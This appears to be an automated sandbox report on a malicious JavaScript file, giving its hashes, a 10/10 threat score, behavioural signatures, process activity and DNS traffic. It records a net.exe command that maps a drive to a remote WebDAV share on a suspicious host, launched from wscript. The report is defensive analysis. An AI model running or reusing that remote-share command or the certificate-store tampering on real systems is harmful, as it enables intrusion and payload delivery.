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Analysis

  • max time kernel
    93s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/04/2024, 17:27 UTC

General

  • Target

    out_bdrts.js

  • Size

    835KB

  • MD5

    50c9e63975fb626c2448aaaf193ca6aa

  • SHA1

    1df86a1625b0fddd885e8763f416948d8e3863b5

  • SHA256

    fad25892e5179a346cdbdbba1e40f53bd6366806d32b57fa4d7946ebe9ae8621

  • SHA512

    c39e008815dad51cd714791ac4d9d227eaf3374a32db94d5f1e2f38882251b0c72599d8fe413730be924c7f2f9106891eb16c1766176806955b9e28b945bd667

  • SSDEEP

    24576:CSiXCh4grhRFR+ZlrpEv9eYBWL5Ut2pW9:CSiXo4Eh5Ilqv9eaOUt2pW9

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs net.exe

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\out_bdrts.js
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    PID:3120
  • C:\Windows\system32\net.exe
    net use A: \\wireoneinternet.info@80\share\ /persistent:no
    1⤵
    • Process spawned unexpected child process
    PID:2800

Network

  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    226.21.18.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    226.21.18.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    149.220.183.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    149.220.183.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    157.123.68.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    157.123.68.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    56.126.166.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    56.126.166.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    34.56.20.217.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    34.56.20.217.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    21.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    21.236.111.52.in-addr.arpa
    IN PTR
    Response
  • 52.111.229.43:443
    322 B
    7
  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    226.21.18.104.in-addr.arpa
    dns
    72 B
    134 B
    1
    1

    DNS Request

    226.21.18.104.in-addr.arpa

  • 8.8.8.8:53
    149.220.183.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    149.220.183.52.in-addr.arpa

  • 8.8.8.8:53
    157.123.68.40.in-addr.arpa
    dns
    72 B
    146 B
    1
    1

    DNS Request

    157.123.68.40.in-addr.arpa

  • 8.8.8.8:53
    56.126.166.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    56.126.166.20.in-addr.arpa

  • 8.8.8.8:53
    34.56.20.217.in-addr.arpa
    dns
    71 B
    131 B
    1
    1

    DNS Request

    34.56.20.217.in-addr.arpa

  • 8.8.8.8:53
    21.236.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    21.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

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